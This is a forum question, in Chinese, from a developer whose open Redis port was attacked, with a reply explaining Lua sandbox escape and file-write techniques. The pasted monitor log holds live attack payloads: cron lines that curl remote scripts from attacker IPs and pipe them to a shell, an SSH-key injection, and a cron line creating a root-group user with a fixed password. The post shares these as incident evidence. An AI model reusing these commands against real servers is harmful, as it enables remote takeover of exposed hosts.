企图通过 Redis 开放端口攻击主机

我在开发机上使用 Redis 开放了端口,最近有人试图通过 Redis 获取我的主机访问权限。我有用 Redis 监控台记录下他们用来获取访问权限的命令,并提供了一些命令的日期时间。

GMT: 2017821日星期一 上午4:47:53.384 [0 74.82.47.3:46986]     "INFO"
[0 94.74.81.202:55564]   "COMMAND"
[0 94.74.81.202:55564]   "flushall"
[0 94.74.81.202:55606]   "COMMAND"

GMT: 2017821日星期一 上午9:21:43.586 [0 94.74.81.202:55606]   "set" "crackit" "\n\n\nssh-rsa .....<ssh_key>.... redis@redis.io\n\n\n\n"
[0 94.74.81.202:55646]   "COMMAND"
[0 185.163.109.66:40470] "INFO"
[0 185.163.109.66:40470] "SCAN" "9000"
[0 74.82.47.5:39660]     "INFO"
[0 98.142.140.13:51586]  "INFO"
[0 98.142.140.13:51586]  "SET" "sxyxgboqet" "\n\n*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh\n\n"
[0 52.14.111.241:58464]  "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\tcurl http://112.74.29.139:8898/1.sh|bash\n\n"
[0 106.2.120.103:41329]  "INFO"
GMT: 2017822日星期二 晚上9:56:04.350 [0 178.62.175.211:58716] "eval" "local asnum ... see link below "

... 完整的 Lua 脚本 ...

[0 184.105.247.252:33152] "INFO"
GMT: 2017年8月23日星期三 上午7:18:35.995 [0 52.14.111.241:49208]   "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\t(useradd -G root axis2;(echo 'asdf1234' | passwd --stdin axis2) || (echo 'axis2:
asdf1234' |chpasswd));crontab -r;:>/etc/crontab;\n\n"
GMT: 2017年8月23日星期三 下午6:04:36.397 [0 98.142.140.13:43540]   "INFO"
GMT: 2017年8月24日星期四 上午5:22:26.931  [0 216.218.206.68:19396]  "INFO"

这些行来自我的 redis.log 文件

22 Aug 09:59:29.865 AM * RDB: 6 MB of memory used by copy-on-write
22 Aug 09:59:29.951 AM * Background saving terminated with success
22 Aug 09:59:30.137 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.049 AM * 1 changes in 900 seconds. Saving...
23 Aug 07:18:36.052 AM * Background saving started by pid 25388
23 Aug 07:18:36.054 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.153 AM # Background saving error
.............
每隔 6 分钟重复一次

有人能解释一下这个 Lua 脚本究竟在做什么吗?根据 Redis 日志,我猜测它试图在"lololili"键中执行 bash 命令。

谢谢。

点赞
用户3656139
用户3656139

嗨,这是一次尝试黑掉您的计算机。如果没有适当的防火墙保护,请不要将您的redis暴露在互联网上。

从我看到的情况来看,我猜这个人试图退出lua沙盒。

如果您有一个开放的redis服务器,有多种方法可以黑掉您的计算机。

  • 通过退出lua沙盒(在redis 2.8.4上尝试成功,用附加的gist进行了一些修改)
  • 通过上传恶意脚本尝试让您或您的软件在执行时出错。(使用db)

关于lua沙盒退出的一些参考

以及redis文件上传

您应该检查主机上属于redis的任何文件

find / -user redis

如果您没有发现任何问题,那就太好了,但是请保护好您的服务器。

2017-09-13 13:14:24